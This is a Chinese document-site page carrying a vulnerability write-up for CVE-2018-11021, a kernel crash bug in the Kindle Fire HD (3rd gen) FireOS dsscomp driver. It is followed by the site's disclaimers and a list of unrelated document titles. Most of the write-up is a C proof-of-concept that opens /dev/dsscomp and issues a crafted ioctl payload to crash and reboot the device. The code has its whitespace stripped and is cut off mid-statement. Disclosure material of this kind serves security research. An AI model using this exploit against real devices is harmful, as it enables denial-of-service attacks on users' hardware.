下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
(CVE-2018-11021)AmazonKindleFireHD(3rd)FireOSkernel组件安全漏洞一、漏洞简介AmazonKindleFireHD(3rd)FireOS4.5.5.3内核组件中的内核模块/omap/drivers/video/omap2/dsscomp/device.c允许攻击者通过设备/dev上ioctl的参数注入特制参数/dsscomp与命令1118064517并导致内核崩溃。要探索此漏洞,必须打开设备文件/dev/dsscomp,并使用命令1118064517和精心设计的有效负载作为第三个参数在此设备文件上调用ioctl系统调用。二、漏洞影响FireOS4.5.5.3三、复现过程poc/*
*ThisispocofKindleFireHD3rd
*Abugintheioctlinterfaceofdevicefile/dev/dsscompcausesthesystemcrashviaIOCTL1118064517.
*Relatedbuggystructnameisdsscomp_setup_dispc_data.
*ThisPocshouldrunwithpermissiontodoioctlon/dev/dsscomp.
*
*/
#include<stdio.h>
#include<fcntl.h>
#include<errno.h>
#include<sys/ioctl.h>
conststaticchar*driver="/dev/dsscomp";
staticcommand=1118064517;
intmain(intargc,char**argv,char**env){
unsignedintpayload[]={
0xffffffff,
0x00000003,
0x5d200040,
0x79900008,
0x8f5928bd,
0x78b02422,
0x00000000,
0xffffffff,
0xf4c50400,
0x007fffff,
0x8499f562,
0xffff0400,
0x001b131d,
0x60818210,
0x00000007,
0xffffffff,
0x00000000,
0x9da9041c,
0xcd980400,
0x001f03f4,
0x00000007,
0x2a34003f,
0x7c80d8f3,
0x63102627,
0xc73643a8,
0xa28f0665,
0x00000000,
0x689e57b4,
0x01ff0008,
0x5e7324b1,
0xae3b003f,
0x0b174d86,
0x00000400,
0x21ffff37,
0xceb367a4,
0x00000040,
0x00000001,
0xec000f9e,
0x00000001,
0x000001ff,
0x00000000,
0x00000000,
0x0000000f,
0x0425c069,
0x038cc3be,
0x0000000f,
0x00000080,
0xe5790100,
0x5b1bffff,
0x0000d355,
0x0000c685,
0xa0070000,
0x0010ffff,
0x00a0ff00,
0x00000001,
0xff490700,
0x0832ad03,
0x00000006,
0x00000002,
0x00000001,
0x81f871c0,
0x738019cb,
0xbf47ffff,
0x00000040,
0x00000001,
0x7f190f33,
0x00000001,
0x8295769b,
0x0000003f,
0x869f2295,
0xffffffff,
0xd673914f,
0x05055800,
0xed69b7d5,
0x00000000,
0x0107ebbd,
0xd214af8d,
0xffff4a93,
0x26450008,
0x58df0000,
0xd16db084,
0x03ff30dd,
0x00000001,
0x209aff3b,
0xe7850800,
0x00000002,
0x30da815c,
0x426f5105,
0x0de109d7,
0x2c1a65fc,
0xfcb3d75f,
0x00000000,
0x00000001,
0x8066be5b,
0x00000002,
0xffffffff,
0x5cf232ec,
0x680d1469,
0x00000001,
0x00000020,
0xffffffff,
0x00000400,
0xd1d12be8,
0x02010200,
0x01ffc16f,
0xf6e237e6,
0x007f0000,
0x01ff08f8,
0x000f00f9,
0xbad07695,
0x00000000,
0xbaff0000,
0x24040040,
0x00000006,
0x00000004,
0x00000000,
0xbc2e9242,
0x009f5f08,
0x00800000,
0x00000000,
0x00000001,
0xff8800ff,
0x00000001,
0x00000000,
0x000003f4,
0x6faa8472,
0x00000400,
0xec857dd5,
0x00000000,
0x00000040,
0xffffffff,
0x3f004874,
0x0000b77a,
0xec9acb95,
0xfacc0001,
0xffff0001,
0x0080ffff,
0x3600ff03,
0x00000001,
0x8fff7d7f,
0x6b87075a,
0x00000000,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x001001ff,
0x00000000,
0x00000001,
0xff1f0512,
0x00000001,
0x51e32167,
0xc18c55cc,
0x00000000,
0xffffffff,
0xb4aaf12b,
0x86edfdbd,
0x00000010,
0x0000003f,
0xabff7b00,
0xffff9ea3,
0xb28e0040,
0x000fffff,
0x458603f4,
0xffff007f,
0xa9030f02,
0x00000001,
0x002cffff,
0x9e00cdff,
0x00000004,
0x41414141,
0x41414141,
0x41414141,
0x41414141};
intfd=0;
fd=open(driver,O_RDWR);
if(fd<0){
printf("Failedtoopen%s,witherrno%d\n",driver,errno);
system("echo1>/data/local/tmp/log");
return-1;
}
printf("Tryopen%swithcommand0x%x.\n",driver,command);
printf("Systemwillcrashandreboot.\n");
if(ioctl(fd,command,&payload)<0
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- GB/T 48029-2026全谷物食品命名与标示要求
- 2026 年秋季开学中小学军训军训爱国意识班会
- 2026年秋季开学高中三角巾包扎训练课件
- 2026年秋季开学初中齐步摆臂训练课件
- 2026年秋季开学高中开学第一课(防溺水安全教育)课件
- 绿色金融制度创新试点经验的典型案例与推广路径研究
- 金融机构参与长期资本投资的产品创新与风险管理
- 中台架构在企业能力复用中的设计与实现
- 新质生产力背景下人工智能典型应用场景及协同效应研究
- 利润表结构特征分析及其在盈利模式识别中的应用
- 2026年下半年幼儿园教师资格证《保教知识与能力》真题试卷
- 中医体质辨识评估流程
- 律所内部管理制度大全
- 2025海南国资运营旗下国改基金公司招聘4人笔试历年典型考点题库附带答案详解
- 水利水电工程土建施工安全技术规程
- 2025年山西英语导游证考试题目及答案
- 普通车床设备说明书及操作要点
- 2025陕西西安航天基地公办学校合同制人员招聘111人考试参考题库及答案解析
- 建筑施工企业公司级安全教育内容
- 铁路信号设计与施工铁道信号自动控制专业教学17课件
- 呼吸衰竭的抢救和护理
评论
0/150
提交评论